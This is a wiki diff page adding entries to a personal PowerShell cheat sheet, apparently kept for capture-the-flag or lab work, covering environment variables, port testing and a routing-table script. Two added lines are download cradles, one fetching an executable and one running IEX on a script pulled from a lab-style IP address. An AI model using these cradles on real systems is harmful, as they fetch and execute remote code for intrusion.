Changes

Jump to navigation Jump to search
617 bytes added ,  07:55, 21 April 2022
m
no edit summary
Line 1: Line 1: −
== Modify Routing Table ==
+
==Set environment variable==
<source lang="PowerShell">param([switch]$Elevated)
+
<syntaxhighlight lang="powershell">
 +
$env:DEBUG=$true
 +
</syntaxhighlight>
 +
 
 +
== Download file ==
 +
<syntaxhighlight lang="dos">
 +
powershell "(new-object System.Net.WebClient).Downloadfile('http://<IP>/writeup.exe', 'writeup.exe')"
 +
</syntaxhighlight>
 +
 
 +
==Execute code from web==
 +
<syntaxhighlight lang="powershell">
 +
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8:8000/exploit.html')"
 +
</syntaxhighlight>
 +
 
 +
== Networking ==
 +
 
 +
=== Test Port open ===
 +
<syntaxhighlight lang="powershell">
 +
Test-NetConnection -ComputerName webproxy.global.basf.net -Port 8080
 +
</syntaxhighlight>
 +
 
 +
===Modify Routing Table===
 +
<source lang="PowerShell">param([switch]$Elevated)
 
function Check-Admin {
 
function Check-Admin {
 
     $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())
 
     $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())

Navigation menu